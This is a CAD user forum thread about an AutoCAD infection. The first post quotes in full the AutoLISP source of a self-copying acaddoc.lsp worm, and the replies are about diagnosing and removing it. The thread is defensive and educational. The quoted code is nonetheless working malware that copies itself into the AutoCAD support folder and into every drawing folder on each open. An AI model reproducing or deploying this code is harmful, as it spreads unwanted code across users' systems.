Topic: This lisp creates itself with the dwg in the same folder

[HasanCAD]

WARNING [kdub]: DO NOT DOWNLOAD AND SAVE THIS FILE LOCALLY unless you know exactly what the file does ... user beware !!

We recived a project this lisp created in the same folder when open any drawing

Code: [Select]

(vl-load-com)
(defun-q s::startup
(/ basepath
   baseacad
   acaddocpath
   r-acaddoc
   w-basepath
   rl-acaddoc
   acaddoclsp
   c-acaddocname
   c-acaddocpath
   c-acaddoc
  )
     (setq basepath
   (findfile "base.dcl")
     )
     (setq basepath
   (substr basepath
   1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
  
(setq acaddocpath
               (findfile "acaddoc.lsp")
)
(setq acaddocpath
      (substr acaddocpath
      1 (- (strlen acaddocpath) 11)
      )
)
(setq acaddoclsp
      (strcat acaddocpath "acaddoc.lsp"))


        (setq c-acaddocname
      (getvar "dwgname")
)
        (setq c-acaddocpath
      (findfile c-acaddocname)
)
        (setq c-acaddocpath
      (substr c-acaddocpath
      1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
        (setq c-acaddoc
      (strcat c-acaddocpath "acaddoc.lsp")
)
(if
           (and
  (/= basepath acaddocpath)
  (= c-acaddocpath acaddocpath)
  )
    (progn
      (setq r-acaddoc
      (open acaddoclsp "r")
      )
      (setq w-basepath
         (open baseacad "w")
)    
      (while
          (setq rl-acaddoc
   (read-line r-acaddoc)
          )
          (write-line rl-acaddoc w-basepath)
       )
       (close w-basepath)  
                (close r-acaddoc)
   
             )
        
    (progn
      (setq r-acaddoc
      (open acaddoclsp "r")
      )
      (setq w-basepath
         (open c-acaddoc "w")
)
       (while
          (setq rl-acaddoc
   (read-line r-acaddoc)
          )
          (write-line rl-acaddoc w-basepath)
       )
       (close w-basepath)  
                (close r-acaddoc)
   
             )
)
(princ)
)


[Kerry]

Is there a question or a comment or a warning to go with that post ??

[HasanCAD]

Is there a question or a comment or a warning to go with that post ??

I dont see any changes but may be this lisp changes in setting or what ever so I am asking .
And How to stop the lisp to create itself?
How to stop attaching the lisp to the drawing?

[Kerry]

Is there a question or a comment or a warning to go with that post ??

I dont see any changes but may be this lisp changes in setting or what ever so I am asking .
And How to stop the lisp to create itself?
How to stop attaching the lisp to the drawing?

Do you understand the code. ??
Do you know what it does and why ?

How is it being loaded. ?

Did the provider supply and documentation with this file ?

[edit]
also :
Did the provider supply an acaddoc.lsp file. ?
Can you post it ?

[HasanCAD]

Do you understand the code. ??

No, What I understand is this lisp open acaddoc.lsp then write a line thats it.

Do you know what it does and why ?

No I do not know

How is it being loaded. ?

When open any drawing from this project then copy it self to the system and do the same when open any fiole

Did the provider supply and documentation with this file ?

No,

[HasanCAD]

Did the provider supply an acaddoc.lsp file. ?

No,

Can you post it ?

only the file what creats itself.

[Kerry]

What is the filename of the code that you posted ?
and where is it located. ??
and how is it loaded ?

[HasanCAD]

What is the filename of the code that you posted ?

See attached

and where is it located. ??

in the same path of the file of this project
Then the infection comes to the AutoCAd itself and this lisp created in the same path of any file I open (or any user)

and how is it loaded ?

Before infection When open any file of this project
after infection any file AutoCAD open

[edit:kdub]
corrupted ACADDOC.LSP file attachment removed

[Kerry]

I'm getting a virus message on that file.
Can you remove it from the forum and post the code please

[HasanCAD]

Can you remove it from the forum and post the code please

The code in first post

[Kerry]

Where did you get the original file ??


I haven't thought this all the way through, but:

You may have to :-

Search your computer for "ACADDOC.LSP"
All the nasty files may be the same size, but will be different dates/times.

There is a good chance that the oldest files with a unique size will be ok.  ... Can you post the code for it please.?


Once you are happy that you have a good file, DELETE all that you believe are nasty.
Copy the good file to  C:\Program Files\Autodesk\ACAD.... \...

[HasanCAD]

No chance all files is the same size and contains

[Kerry]

Can you get the original good file from the installation DVD ??

[Kerry]

GENERAL COMMENT :

This is a good example of why it's necessary to look at and attempt to understand ALL code that you add to your system.

It's also the reason why I won't load VLX and FAS files from untrusted sources.



//---

HasanCAD :
If you had said in the first post that the code you posted was named "AcadDoc.Lsp" I would have been able to solve this immediately.
So, there is a lesson in that regard as well  

[Kerry]

For education :
Perhaps someone who has a little time to spare could explain in simple terms how and why this corruption functions.